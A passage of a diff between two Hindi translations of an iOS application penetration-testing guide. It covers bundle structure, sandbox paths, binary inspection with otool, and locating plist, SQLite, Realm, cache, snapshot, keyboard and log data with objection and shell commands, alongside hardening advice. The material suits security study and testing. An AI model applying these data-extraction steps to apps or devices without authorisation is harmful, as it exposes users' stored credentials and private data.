ये भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधन शामिल करते हैं, और यदि कोई भाषा समर्थित नहीं है तो एक डिफ़ॉल्ट संसाधन होता है। +- **en.lproj, fr.proj, Base.lproj**: ये भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधन शामिल करते हैं, और यदि कोई भाषा समर्थित नहीं है तो एक डिफ़ॉल्ट संसाधन। - **Security**: `_CodeSignature/` निर्देशिका ऐप की सुरक्षा में एक महत्वपूर्ण भूमिका निभाती है, सभी बंडल की गई फ़ाइलों की अखंडता को डिजिटल हस्ताक्षरों के माध्यम से सत्यापित करती है। - **Asset Management**: `Assets.car` फ़ाइल ग्राफिकल संपत्तियों को कुशलतापूर्वक प्रबंधित करने के लिए संकुचन का उपयोग करती है, जो ऐप्लिकेशन के प्रदर्शन को अनुकूलित करने और इसके समग्र आकार को कम करने के लिए महत्वपूर्ण है। -- **Frameworks and PlugIns**: ये निर्देशिकाएँ iOS ऐप्लिकेशनों की मॉड्यूलरिटी को रेखांकित करती हैं, जिससे डेवलपर्स को पुन: प्रयोज्य कोड लाइब्रेरीज़ (`Frameworks/`) शामिल करने और ऐप की कार्यक्षमता को बढ़ाने (`PlugIns/`) की अनुमति मिलती है। +- **Frameworks and PlugIns**: ये निर्देशिकाएँ iOS ऐप्लिकेशनों की मॉड्यूलरिटी को रेखांकित करती हैं, जिससे डेवलपर्स को पुन: प्रयोज्य कोड पुस्तकालयों (`Frameworks/`) को शामिल करने और ऐप की कार्यक्षमता को बढ़ाने (`PlugIns/`) की अनुमति मिलती है। - **Localization**: यह संरचना कई भाषाओं का समर्थन करती है, विशिष्ट भाषा पैक के लिए संसाधनों को शामिल करके वैश्विक ऐप्लिकेशन पहुंच को सुविधाजनक बनाती है। **Info.plist** -**Info.plist** iOS ऐप्लिकेशनों के लिए एक आधारशिला के रूप में कार्य करता है, **की-मान** जोड़ों के रूप में प्रमुख कॉन्फ़िगरेशन डेटा को संलग्न करता है। यह फ़ाइल न केवल ऐप्लिकेशनों के लिए बल्कि ऐप एक्सटेंशन और बंडल में शामिल फ्रेमवर्क के लिए भी आवश्यक है। यह XML या बाइनरी प्रारूप में संरचित होती है और ऐप अनुमतियों से लेकर सुरक्षा कॉन्फ़िगरेशन तक महत्वपूर्ण जानकारी रखती है। उपलब्ध कुंजियों की विस्तृत खोज के लिए, कोई [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) का संदर्भ ले सकता है। +**Info.plist** iOS ऐप्लिकेशनों के लिए एक आधारशिला के रूप में कार्य करता है, **की-मान** जोड़ों के रूप में प्रमुख कॉन्फ़िगरेशन डेटा को संलग्न करता है। यह फ़ाइल न केवल ऐप्लिकेशनों के लिए बल्कि ऐप एक्सटेंशन और बंडल में शामिल फ्रेमवर्क के लिए भी आवश्यक है। इसे XML या बाइनरी प्रारूप में संरचित किया गया है और इसमें ऐप अनुमतियों से लेकर सुरक्षा कॉन्फ़िगरेशन तक महत्वपूर्ण जानकारी होती है। उपलब्ध कुंजियों की विस्तृत खोज के लिए, कोई [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) का संदर्भ ले सकता है। जो लोग इस फ़ाइल के साथ अधिक सुलभ प्रारूप में काम करना चाहते हैं, उनके लिए XML रूपांतरण को macOS पर `plutil` का उपयोग करके आसानी से प्राप्त किया जा सकता है (संस्करण 10.2 और बाद में स्वदेशी रूप से उपलब्ध) या Linux पर `plistutil` का उपयोग करके। रूपांतरण के लिए आदेश इस प्रकार हैं: @@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Info.plist** फ़ाइल जो जानकारी प्रकट कर सकती है, उनमें प्रमुख प्रविष्टियाँ शामिल हैं जैसे ऐप अनुमति स्ट्रिंग्स (`UsageDescription`), कस्टम URL स्कीम्स (`CFBundleURLTypes`), और ऐप ट्रांसपोर्ट सुरक्षा के लिए कॉन्फ़िगरेशन (`NSAppTransportSecurity`)। ये प्रविष्टियाँ, साथ ही निर्यातित/आयातित कस्टम दस्तावेज़ प्रकार (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) जैसी अन्य प्रविष्टियाँ, फ़ाइल की जांच करके या एक साधारण `grep` कमांड का उपयोग करके आसानी से पाई जा सकती हैं: +**Info.plist** फ़ाइल जो जानकारी प्रकट कर सकती है, उनमें प्रमुख प्रविष्टियाँ शामिल हैं जैसे ऐप अनुमति स्ट्रिंग्स (`UsageDescription`), कस्टम URL स्कीम्स (`CFBundleURLTypes`), और ऐप ट्रांसपोर्ट सुरक्षा के लिए कॉन्फ़िगरेशन (`NSAppTransportSecurity`)। ये प्रविष्टियाँ, साथ ही निर्यातित/आयातित कस्टम दस्तावेज़ प्रकार (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) जैसी अन्य प्रविष्टियाँ, फ़ाइल का निरीक्षण करके या एक साधारण `grep` कमांड का उपयोग करके आसानी से स्थित की जा सकती हैं: ```bash $ grep -i Info.plist ``` @@ -200,9 +200,9 @@ $ grep -i Info.plist iOS वातावरण में, निर्देशिकाएँ विशेष रूप से **सिस्टम अनुप्रयोगों** और **उपयोगकर्ता-स्थापित अनुप्रयोगों** के लिए निर्धारित की गई हैं। सिस्टम अनुप्रयोग `/Applications` निर्देशिका में स्थित होते हैं, जबकि उपयोगकर्ता-स्थापित ऐप्स `/var/mobile/containers/Data/Application/` के अंतर्गत रखे जाते हैं। इन अनुप्रयोगों को एक अद्वितीय पहचानकर्ता दिया जाता है जिसे **128-बिट UUID** कहा जाता है, जिससे किसी ऐप के फ़ोल्डर को मैन्युअल रूप से ढूंढना चुनौतीपूर्ण हो जाता है क्योंकि निर्देशिका नामों में यादृच्छिकता होती है। > [!WARNING] -> चूंकि iOS में अनुप्रयोगों को सैंडबॉक्स किया जाना चाहिए, प्रत्येक ऐप के पास **`$HOME/Library/Containers`** के अंदर एक फ़ोल्डर भी होगा जिसका नाम ऐप का **`CFBundleIdentifier`** होगा। +> चूंकि iOS में अनुप्रयोगों को सैंडबॉक्स किया जाना चाहिए, प्रत्येक ऐप के पास **`$HOME/Library/Containers`** के अंदर एक फ़ोल्डर भी होगा, जिसका फ़ोल्डर नाम ऐप का **`CFBundleIdentifier`** होगा। > -> हालाँकि, दोनों फ़ोल्डर (डेटा और कंटेनर फ़ोल्डर) में फ़ाइल **`.com.apple.mobile_container_manager.metadata.plist`** होती है जो दोनों फ़ाइलों को कुंजी `MCMetadataIdentifier` में लिंक करती है। +> हालाँकि, दोनों फ़ोल्डर (डेटा और कंटेनर फ़ोल्डर) में फ़ाइल **`.com.apple.mobile_container_manager.metadata.plist`** होती है जो `MCMetadataIdentifier` कुंजी में दोनों फ़ाइलों को लिंक करती है। उपयोगकर्ता-स्थापित ऐप के स्थापना निर्देशिका की खोज को सुविधाजनक बनाने के लिए, **objection tool** एक उपयोगी कमांड, `env` प्रदान करता है। यह कमांड संबंधित ऐप के लिए विस्तृत निर्देशिका जानकारी प्रकट करता है। नीचे इस कमांड का उपयोग करने का एक उदाहरण दिया गया है: ```bash @@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E ```bash find /private/var/containers -name "Progname*" ``` -कमांड जैसे `ps` और `lsof` का उपयोग ऐप के प्रोसेस की पहचान करने और क्रमशः खुले फ़ाइलों की सूची बनाने के लिए किया जा सकता है, जो ऐप्लिकेशन के सक्रिय डायरेक्टरी पाथ्स के बारे में जानकारी प्रदान करते हैं: +कमांड जैसे `ps` और `lsof` का उपयोग ऐप के प्रोसेस की पहचान करने और क्रमशः खुले फ़ाइलों की सूची बनाने के लिए किया जा सकता है, जो ऐप्लिकेशन के सक्रिय डायरेक्टरी पथों के बारे में जानकारी प्रदान करते हैं: ```bash ps -ef | grep -i lsof -p | grep -i "/containers" | head -n 1 @@ -246,14 +246,14 @@ lsof -p | grep -i "/containers" | head -n 1 - इसमें **सेमी-स्थायी कैश की गई फ़ाइलें** शामिल हैं। - उपयोगकर्ताओं के लिए अदृश्य है और **उपयोगकर्ता इसमें लिख नहीं सकते**। - इस निर्देशिका में सामग्री **बैकअप नहीं की जाती**। -- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है। +- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम हो रहा होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है। - **Library/Application Support/** - इसमें ऐप चलाने के लिए आवश्यक **स्थायी** **फाइलें** शामिल हैं। - **उपयोगकर्ताओं के लिए अदृश्य** है और उपयोगकर्ता इसमें लिख नहीं सकते। - इस निर्देशिका में सामग्री **बैकअप की जाती है**। - ऐप `NSURLIsExcludedFromBackupKey` सेट करके पथों को अक्षम कर सकता है। - **Library/Preferences/** -- इसका उपयोग उन प्रॉपर्टीज को स्टोर करने के लिए किया जाता है जो **ऐप्लिकेशन के पुनरारंभ होने के बाद भी बनी रह सकती हैं**। +- इसका उपयोग उन प्रॉपर्टीज़ को स्टोर करने के लिए किया जाता है जो **ऐप्लिकेशन के पुनरारंभ होने के बाद भी बनी रह सकती हैं**। - जानकारी, बिना एन्क्रिप्ट किए, एप्लिकेशन सैंडबॉक्स के अंदर एक plist फ़ाइल में \[BUNDLE_ID].plist के रूप में सहेजी जाती है। - `NSUserDefaults` का उपयोग करके संग्रहीत सभी कुंजी/मान जोड़े इस फ़ाइल में पाए जा सकते हैं। - **tmp/** @@ -261,7 +261,7 @@ lsof -p | grep -i "/containers" | head -n 1 - इसमें गैर-स्थायी कैश की गई फ़ाइलें शामिल हैं। - **उपयोगकर्ताओं के लिए अदृश्य** है। - इस निर्देशिका में सामग्री बैकअप नहीं की जाती है। -- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है। +- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम हो रहा होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है। आइए iGoat-Swift के एप्लिकेशन बंडल (.app) निर्देशिका पर करीब से नज़र डालते हैं जो बंडल निर्देशिका के अंदर है (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): ```bash @@ -279,7 +279,7 @@ Regular 420 None ... README.txt ``` ### Binary Reversing -Inside the `.app` folder you will find a binary file called ``. This is the file that will be **executed**. You can perform a basic inspection of the binary with the tool **`otool`**: +`.app` फ़ोल्डर के अंदर आपको एक बाइनरी फ़ाइल मिलेगी जिसे `` कहा जाता है। यह वही फ़ाइल है जो **executed** की जाएगी। आप टूल **`otool`** के साथ बाइनरी का एक बुनियादी निरीक्षण कर सकते हैं: ```bash otool -Vh DVIA-v2 #Check some compilation attributes magic cputype cpusubtype caps filetype ncmds sizeofcmds flags @@ -293,15 +293,15 @@ DVIA-v2: @rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) [...] ``` -**ऐप एन्क्रिप्टेड है या नहीं, यह जांचें** +**ऐप एन्क्रिप्टेड है या नहीं जांचें** -देखें कि क्या इसके लिए कोई आउटपुट है: +देखें कि क्या कोई आउटपुट है: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` -**बाइनरी को डिसअसेम्बल करना** +**बाइनरी को डिसएसेंबल करना** -टेक्स्ट सेक्शन को डिसअसेम्बल करें: +टेक्स्ट सेक्शन को डिसएसेंबल करें: ```bash otool -tV DVIA-v2 DVIA-v2: @@ -355,7 +355,7 @@ double _field1; double _field2; }; ``` -हालांकि, बाइनरी को डिस्सेम्बल करने के लिए सबसे अच्छे विकल्प हैं: [**Hopper**](https://www.hopperapp.com/download.html?) और [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). +हालांकि, बाइनरी को डिसएसेंबल करने के लिए सबसे अच्छे विकल्प हैं: [**Hopper**](https://www.hopperapp.com/download.html?) और [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). ## डेटा संग्रहण @@ -375,13 +375,13 @@ ios-basics.md plist फ़ाइलों में डेटा को स्थायी रूप से संग्रहीत करने का सबसे सामान्य तरीका **NSUserDefaults** का उपयोग करना है। यह plist फ़ाइल ऐप सैंडबॉक्स के अंदर **`Library/Preferences/.plist`** में सहेजी जाती है। -[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) क्लास डिफ़ॉल्ट सिस्टम के साथ इंटरैक्ट करने के लिए एक प्रोग्रामेटिक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को **उपयोगकर्ता प्राथमिकताओं** के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। `NSUserDefaults` द्वारा सहेजा गया डेटा एप्लिकेशन बंडल में देखा जा सकता है। यह क्लास **plist** **फ़ाइल** में **डेटा** संग्रहीत करती है, लेकिन इसे छोटे मात्रा में डेटा के साथ उपयोग करने के लिए डिज़ाइन किया गया है। +[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) क्लास डिफ़ॉल्ट सिस्टम के साथ बातचीत करने के लिए एक प्रोग्रामेटिक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को **उपयोगकर्ता प्राथमिकताओं** के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। `NSUserDefaults` द्वारा सहेजा गया डेटा एप्लिकेशन बंडल में देखा जा सकता है। यह क्लास **plist** **फ़ाइल** में **डेटा** संग्रहीत करती है, लेकिन इसे छोटे मात्रा में डेटा के साथ उपयोग करने के लिए डिज़ाइन किया गया है। इस डेटा को सीधे एक विश्वसनीय कंप्यूटर के माध्यम से लंबे समय तक एक्सेस नहीं किया जा सकता है, लेकिन इसे **बैकअप** करके एक्सेस किया जा सकता है। आप **`NSUserDefaults`** का उपयोग करके सहेजी गई जानकारी को objection के `ios nsuserdefaults get` का उपयोग करके **डंप** कर सकते हैं। -ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी plist फ़ाइलों को खोजने के लिए आप `/private/var/mobile/Containers/Data/Application/{APPID}` पर पहुंच सकते हैं और चलाएं: +ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी plist फ़ाइलों को खोजने के लिए आप `/private/var/mobile/Containers/Data/Application/{APPID}` पर जा सकते हैं और चलाएं: ```bash find ./ -name "*.plist" ``` @@ -396,7 +396,7 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Within an Objection Session:** मोबाइल एप्लिकेशनों का विश्लेषण करने के लिए, एक विशेष कमांड आपको plist फ़ाइलों को सीधे परिवर्तित करने की अनुमति देता है: +**एक Objection सत्र के भीतर:** मोबाइल अनुप्रयोगों का विश्लेषण करने के लिए, एक विशिष्ट कमांड आपको plist फ़ाइलों को सीधे परिवर्तित करने की अनुमति देती है: ```bash ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist ``` @@ -405,7 +405,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/ [`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) आपके एप्लिकेशन में ऑब्जेक्ट्स के मॉडल लेयर को प्रबंधित करने के लिए एक ढांचा है। [Core Data SQLite का उपयोग अपने स्थायी स्टोर के रूप में कर सकता है](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), लेकिन ढांचा स्वयं एक डेटाबेस नहीं है।\ CoreData डिफ़ॉल्ट रूप से अपने डेटा को एन्क्रिप्ट नहीं करता है। हालाँकि, CoreData में एक अतिरिक्त एन्क्रिप्शन लेयर जोड़ी जा सकती है। अधिक विवरण के लिए [GitHub Repo](https://github.com/project-imas/encrypted-core-data) देखें। -आप किसी एप्लिकेशन की SQLite Core Data जानकारी को इस पथ पर पा सकते हैं `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` +आप किसी एप्लिकेशन की SQLite Core Data जानकारी को पथ `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` में पा सकते हैं। **यदि आप SQLite खोल सकते हैं और संवेदनशील जानकारी तक पहुँच सकते हैं, तो आपने एक गलत कॉन्फ़िगरेशन पाया है।** ```objectivec:Code from iGoat @@ -438,13 +438,13 @@ NSLog(@"data stored in core data"); ### Other SQLite Databases -यह सामान्य है कि एप्लिकेशन अपने स्वयं के SQLite डेटाबेस बनाते हैं। वे **सेंसिटिव** **डेटा** को उन पर **स्टोर** कर सकते हैं और इसे एन्क्रिप्ट नहीं कर सकते। इसलिए, हमेशा एप्लिकेशन की निर्देशिका के अंदर हर डेटाबेस की जांच करना दिलचस्प होता है। इसलिए उस एप्लिकेशन की निर्देशिका में जाएं जहां डेटा सहेजा गया है (`/private/var/mobile/Containers/Data/Application/{APPID}`) +यह सामान्य है कि एप्लिकेशन अपने स्वयं के SQLite डेटाबेस बनाते हैं। वे उन पर **संवेदनशील** **डेटा** **स्टोर** कर सकते हैं और इसे एन्क्रिप्ट नहीं कर सकते। इसलिए, हमेशा एप्लिकेशन की निर्देशिका के अंदर हर डेटाबेस की जांच करना दिलचस्प होता है। इसलिए उस एप्लिकेशन निर्देशिका में जाएं जहां डेटा सहेजा गया है (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` ### Firebase Real-Time Databases -डेवलपर्स को **डेटा स्टोर और सिंक करने** की अनुमति मिलती है **NoSQL क्लाउड-होस्टेड डेटाबेस** के माध्यम से Firebase Real-Time Databases में। JSON प्रारूप में संग्रहीत, डेटा सभी जुड़े हुए क्लाइंट्स के लिए वास्तविक समय में समन्वयित होता है। +डेवलपर्स को **डेटा स्टोर और सिंक करने** की अनुमति मिलती है **NoSQL क्लाउड-होस्टेड डेटाबेस** के माध्यम से Firebase Real-Time Databases में। JSON प्रारूप में स्टोर किया गया डेटा सभी जुड़े हुए क्लाइंट्स के लिए वास्तविक समय में समन्वयित होता है। आप यहाँ गलत कॉन्फ़िगर किए गए Firebase डेटाबेस की जांच कैसे करें, यह पा सकते हैं: @@ -463,7 +463,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note $ find ./ -name "*.realm*" ``` -इन डेटाबेस फ़ाइलों को देखने के लिए, [**Realm Studio**](https://github.com/realm/realm-studio) उपकरण की सिफारिश की जाती है। +इन डेटाबेस फ़ाइलों को देखने के लिए, [**Realm Studio**](https://github.com/realm/realm-studio) टूल की सिफारिश की जाती है। एक Realm डेटाबेस के भीतर एन्क्रिप्शन लागू करने के लिए, निम्नलिखित कोड स्निपेट का उपयोग किया जा सकता है: ```swift @@ -508,11 +508,11 @@ iOS ऐप्स के कुकीज़ को प्रत्येक ऐ ``` ### Cache -डिफ़ॉल्ट रूप से NSURLSession डेटा को स्टोर करता है, जैसे कि **HTTP अनुरोध और प्रतिक्रियाएँ Cache.db** डेटाबेस में। इस डेटाबेस में **संवेदनशील डेटा** हो सकता है, यदि टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की गई जानकारी खोजने के लिए ऐप के डेटा निर्देशिका को खोलें (`/var/mobile/Containers/Data/Application/`) और `/Library/Caches/` पर जाएं। **WebKit कैश भी Cache.db** फ़ाइल में स्टोर किया जा रहा है। **Objection** इस डेटाबेस को खोल सकता है और कमांड `sqlite connect Cache.db` के साथ इंटरैक्ट कर सकता है, क्योंकि यह एक **सामान्य SQLite डेटाबेस** है। +डिफ़ॉल्ट रूप से NSURLSession डेटा को स्टोर करता है, जैसे कि **HTTP अनुरोध और प्रतिक्रियाएँ Cache.db** डेटाबेस में। यह डेटाबेस **संवेदनशील डेटा** रख सकता है, यदि टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की गई जानकारी खोजने के लिए ऐप के डेटा निर्देशिका को खोलें (`/var/mobile/Containers/Data/Application/`) और `/Library/Caches/` पर जाएं। **WebKit कैश भी Cache.db** फ़ाइल में स्टोर किया जा रहा है। **Objection** इस डेटाबेस को खोल सकता है और कमांड `sqlite connect Cache.db` के साथ इंटरैक्ट कर सकता है, क्योंकि यह एक **सामान्य SQLite डेटाबेस** है। -यह **सिफारिश की जाती है कि इस डेटा को कैशिंग बंद कर दिया जाए**, क्योंकि इसमें अनुरोध या प्रतिक्रिया में संवेदनशील जानकारी हो सकती है। नीचे दी गई सूची विभिन्न तरीकों को दिखाती है जिससे यह प्राप्त किया जा सकता है: +यह **सिफारिश की जाती है कि इस डेटा को कैशिंग बंद कर दिया जाए**, क्योंकि इसमें अनुरोध या प्रतिक्रिया में संवेदनशील जानकारी हो सकती है। नीचे दी गई सूची विभिन्न तरीकों को दिखाती है जिससे इसे प्राप्त किया जा सकता है: -1. साइन आउट करने के बाद कैश की गई प्रतिक्रियाओं को हटाना सिफारिश की जाती है। यह Apple द्वारा प्रदान की गई विधि [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) के साथ किया जा सकता है। आप इस विधि को इस प्रकार कॉल कर सकते हैं: +1. सिफारिश की जाती है कि लॉगआउट के बाद कैश की गई प्रतिक्रियाएँ हटा दी जाएँ। यह Apple द्वारा प्रदान की गई विधि [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) के साथ किया जा सकता है। आप इस विधि को इस प्रकार कॉल कर सकते हैं: `URLCache.shared.removeAllCachedResponses()` @@ -520,7 +520,7 @@ iOS ऐप्स के कुकीज़ को प्रत्येक ऐ 2. यदि आपको कुकीज़ के लाभ का उपयोग करने की आवश्यकता नहीं है, तो URLSession की [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) कॉन्फ़िगरेशन प्रॉपर्टी का उपयोग करना सिफारिश की जाती है, जो कुकीज़ और कैश को सहेजने को बंद कर देगी। -[Apple दस्तावेज़](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): +[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): `An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.` @@ -532,7 +532,7 @@ iOS ऐप्स के कुकीज़ को प्रत्येक ऐ जब तक iPhone जेलब्रोक नहीं है, **हमलावर** को इन स्क्रीनशॉट्स को देखने के लिए **डिवाइस** **अनब्लॉक** करने की **एक्सेस** होनी चाहिए। डिफ़ॉल्ट रूप से अंतिम स्नैपशॉट ऐप के सैंडबॉक्स में `Library/Caches/Snapshots/` या `Library/SplashBoard/Snapshots` फ़ोल्डर में स्टोर किया जाता है (विश्वसनीय कंप्यूटर iOX 7.0 से फ़ाइल सिस्टम तक पहुँच नहीं सकते)। -इस खराब व्यवहार को रोकने का एक तरीका यह है कि स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालें या संवेदनशील डेटा को हटा दें, `ApplicationDidEnterBackground()` फ़ंक्शन का उपयोग करके। +इस बुरे व्यवहार को रोकने का एक तरीका यह है कि स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालें या संवेदनशील डेटा को हटा दें, `ApplicationDidEnterBackground()` फ़ंक्शन का उपयोग करके। नीचे एक नमूना सुधार विधि है जो एक डिफ़ॉल्ट स्क्रीनशॉट सेट करेगी। @@ -584,39 +584,39 @@ credential = [NSURLCredential credentialWithUser:username password:password pers ## **कस्टम कीबोर्ड और कीबोर्ड कैश** -iOS 8.0 से आगे, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन स्थापित कर सकते हैं, जिन्हें **Settings > General > Keyboard > Keyboards** के तहत प्रबंधित किया जा सकता है। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों पर भेजने का जोखिम पैदा करते हैं, हालांकि उपयोगकर्ताओं को उन कीबोर्ड के बारे में सूचित किया जाता है जिन्हें नेटवर्क एक्सेस की आवश्यकता होती है। ऐप्स को संवेदनशील जानकारी के लिए कस्टम कीबोर्ड के उपयोग को प्रतिबंधित करना चाहिए। +iOS 8.0 से, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन स्थापित कर सकते हैं, जिन्हें **Settings > General > Keyboard > Keyboards** के तहत प्रबंधित किया जा सकता है। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों पर भेजने का जोखिम पैदा करते हैं, हालांकि उपयोगकर्ताओं को उन कीबोर्ड के बारे में सूचित किया जाता है जिन्हें नेटवर्क एक्सेस की आवश्यकता होती है। ऐप्स को संवेदनशील जानकारी के प्रवेश के लिए कस्टम कीबोर्ड के उपयोग को प्रतिबंधित करना चाहिए। **सुरक्षा सिफारिशें:** -- सुरक्षा बढ़ाने के लिए तीसरे पक्ष के कीबोर्ड को निष्क्रिय करने की सलाह दी जाती है। +- सुरक्षा बढ़ाने के लिए तीसरे पक्ष के कीबोर्ड को बंद करने की सलाह दी जाती है। - डिफ़ॉल्ट iOS कीबोर्ड की ऑटोकरेक्ट और ऑटो-सजेशन सुविधाओं के प्रति जागरूक रहें, जो संवेदनशील जानकारी को `Library/Keyboard/{locale}-dynamic-text.dat` या `/private/var/mobile/Library/Keyboard/dynamic-text.dat` में कैश फ़ाइलों में संग्रहीत कर सकती हैं। इन कैश फ़ाइलों की नियमित रूप से जांच की जानी चाहिए। कैश डेटा को साफ़ करने के लिए **Settings > General > Reset > Reset Keyboard Dictionary** के माध्यम से कीबोर्ड शब्दकोश को रीसेट करना अनुशंसित है। - नेटवर्क ट्रैफ़िक को इंटरसेप्ट करना यह प्रकट कर सकता है कि क्या एक कस्टम कीबोर्ड दूरस्थ रूप से कीस्ट्रोक्स को भेज रहा है। ### **टेक्स्ट फ़ील्ड कैशिंग को रोकना** -[UITextInputTraits प्रोटोकॉल](https://developer.apple.com/reference/uikit/uitextinputtraits) ऑटोकरेक्शन और सुरक्षित टेक्स्ट एंट्री को प्रबंधित करने के लिए गुण प्रदान करता है, जो संवेदनशील जानकारी कैशिंग को रोकने के लिए आवश्यक है। उदाहरण के लिए, ऑटोकरेक्शन को निष्क्रिय करना और सुरक्षित टेक्स्ट एंट्री को सक्षम करना निम्नलिखित के साथ किया जा सकता है: +[UITextInputTraits प्रोटोकॉल](https://developer.apple.com/reference/uikit/uitextinputtraits) ऑटोकरेक्शन और सुरक्षित टेक्स्ट प्रवेश को प्रबंधित करने के लिए गुण प्रदान करता है, जो संवेदनशील जानकारी कैशिंग को रोकने के लिए आवश्यक है। उदाहरण के लिए, ऑटोकरेक्शन को बंद करना और सुरक्षित टेक्स्ट प्रवेश को सक्षम करना निम्नलिखित के साथ किया जा सकता है: ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; ``` -इसके अतिरिक्त, डेवलपर्स को यह सुनिश्चित करना चाहिए कि टेक्स्ट फ़ील्ड, विशेष रूप से संवेदनशील जानकारी जैसे पासवर्ड और पिन दर्ज करने के लिए, कैशिंग को अक्षम करें `autocorrectionType` को `UITextAutocorrectionTypeNo` और `secureTextEntry` को `YES` सेट करके। +इसके अतिरिक्त, डेवलपर्स को यह सुनिश्चित करना चाहिए कि टेक्स्ट फ़ील्ड, विशेष रूप से संवेदनशील जानकारी जैसे पासवर्ड और पिन दर्ज करने के लिए, कैशिंग को बंद कर दें `autocorrectionType` को `UITextAutocorrectionTypeNo` और `secureTextEntry` को `YES` सेट करके। ```objectivec UITextField *textField = [[UITextField alloc] initWithFrame:frame]; textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` ## **Logs** -कोड को डिबग करना अक्सर **लॉगिंग** के उपयोग को शामिल करता है। इसमें एक जोखिम होता है क्योंकि **लॉग में संवेदनशील जानकारी हो सकती है**। पहले, iOS 6 और इससे पहले के संस्करणों में, सभी ऐप्स के लिए लॉग्स सुलभ थे, जिससे संवेदनशील डेटा लीक होने का जोखिम था। **अब, एप्लिकेशन केवल अपने लॉग्स तक पहुँचने के लिए प्रतिबंधित हैं**। +कोड को डिबग करते समय अक्सर **लॉगिंग** का उपयोग किया जाता है। इसमें एक जोखिम होता है क्योंकि **लॉग में संवेदनशील जानकारी हो सकती है**। पहले, iOS 6 और उससे पहले के संस्करणों में, सभी ऐप्स के लिए लॉग्स सुलभ थे, जिससे संवेदनशील डेटा लीक होने का जोखिम था। **अब, एप्लिकेशन केवल अपने लॉग्स तक पहुँचने के लिए प्रतिबंधित हैं**। इन प्रतिबंधों के बावजूद, **एक हमलावर जिसे अनलॉक किए गए डिवाइस तक भौतिक पहुँच है**, इसे एक कंप्यूटर से कनेक्ट करके और **लॉग्स को पढ़कर** भुनाने में सक्षम हो सकता है। यह ध्यान रखना महत्वपूर्ण है कि लॉग ऐप के अनइंस्टॉलेशन के बाद भी डिस्क पर बने रहते हैं। -जोखिमों को कम करने के लिए, यह सलाह दी जाती है कि **ऐप के साथ पूरी तरह से इंटरैक्ट करें**, इसके सभी कार्यात्मकताओं और इनपुट्स का अन्वेषण करें ताकि यह सुनिश्चित हो सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं हो रही है। +जोखिमों को कम करने के लिए, यह सलाह दी जाती है कि 